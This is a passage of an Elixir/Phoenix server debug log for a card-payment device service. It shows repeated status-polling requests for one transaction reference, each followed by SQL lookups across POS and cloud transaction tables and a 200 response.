SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:00:49.187000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:37050] Sent 200 in 37ms
[Thu Sep  3 10:00:49.191000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:37044] QUERY OK source="cloud_transaction" db=5.1ms queue=0.2ms idle=309.1ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:00:49.191000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:37044] Sent 200 in 45ms
[Thu Sep  3 10:00:49.399000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:37056] POST /api/device/status
[Thu Sep  3 10:00:49.400000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:37056] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch917637388751", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:00:49.400000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:37056] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch917637388751", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:00:49.400000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:37056] Transaction reference number: "ch917637388751"
[Thu Sep  3 10:00:49.420000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:37056] QUERY OK source="pos_transaction" db=19.4ms idle=351.5ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:00:49.423000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:37056] QUERY OK source="pos_temp_transaction" db=2.4ms idle=277.4ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:00:49.428000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:37056] QUERY OK source="pos_failed_transaction" db=3.6ms idle=257.0ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:00:49.433000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:37056] QUERY OK source="cloud_transaction" db=4.5ms queue=0.1ms idle=257.5ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:00:49.433000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:37056] Sent 200 in 34ms
[Thu Sep  3 10:00:52.171000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:37062] POST /api/device/status
[Thu Sep  3 10:00:52.171000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:37062] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch917637388751", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:00:52.171000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:37062] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch917637388751", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:00:52.171000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:37062] Transaction reference number: "ch917637388751"
[Thu Sep  3 10:00:52.186000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:37062] QUERY OK source="pos_transaction" db=14.3ms idle=1377.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:00:52.188000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:37062] QUERY OK source="pos_temp_transaction" db=2.0ms idle=1391.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:00:52.192000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:37062] QUERY OK source="pos_failed_transaction" db=2.8ms idle=399.0ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:00:52.193000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:37062] QUERY OK source="cloud_transaction" db=0.5ms idle=401.6ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:00:52.193000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:37062] Sent 200 in 22ms
[Thu Sep  3 10:00:58.207000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:53678] POST /api/device/status
[Thu Sep  3 10:00:58.207000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:53678] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch917637388751", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:00:58.207000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:53678] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch917637388751", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:00:58.207000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:53678] Transaction reference number: "ch917637388751"
[Thu Sep  3 10:00:58.222000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53678] QUERY OK source="pos_transaction" db=13.8ms idle=1412.8ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:00:58.222000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53678] QUERY OK source="pos_temp_transaction" db=0.4ms idle=1424.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:00:58.225000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53678] QUERY OK source="pos_failed_transaction" db=2.8ms idle=422.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:00:58.226000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53678] QUERY OK source="cloud_transaction" db=0.6ms idle=425.4ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:00:58.227000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:53678] Sent 200 in 20ms
[Thu Sep  3 10:01:02.997000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:53686] POST /api/device/status
[Thu Sep  3 10:01:03.000000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:53686] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch917637388751", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:01:03.003000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:53686] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch917637388751", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:01:03.004000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:53686] Transaction reference number: "ch917637388751"
[Thu Sep  3 10:01:03.039000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53686] QUERY OK source="pos_transaction" db=30.5ms idle=1199.2ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:01:03.043000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53686] QUERY OK source="pos_temp_transaction" db=3.6ms queue=0.1ms idle=1229.2ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:01:03.053000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53686] QUERY OK source="pos_failed_transaction" db=9.3ms idle=326.0ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:01:03.058000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53686] QUERY OK source="cloud_transaction" db=3.4ms idle=246.1ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:01:03.058000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:53686] Sent 200 in 61ms
[Thu Sep  3 10:01:07.780000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:40724] POST /api/device/status
[Thu Sep  3 10:01:07.781000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:40724] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch917637388751", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:01:07.781000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:40724] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch917637388751", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:01:07.781000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:40724] Transaction reference number: "ch917637388751"
[Thu Sep  3 10:01:07.794000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40724] QUERY OK source="pos_transaction" db=12.4ms idle=970.0ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:01:07.797000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40724] QUERY OK source="pos_temp_transaction" db=1.1ms queue=0.8ms idle=981.1ms
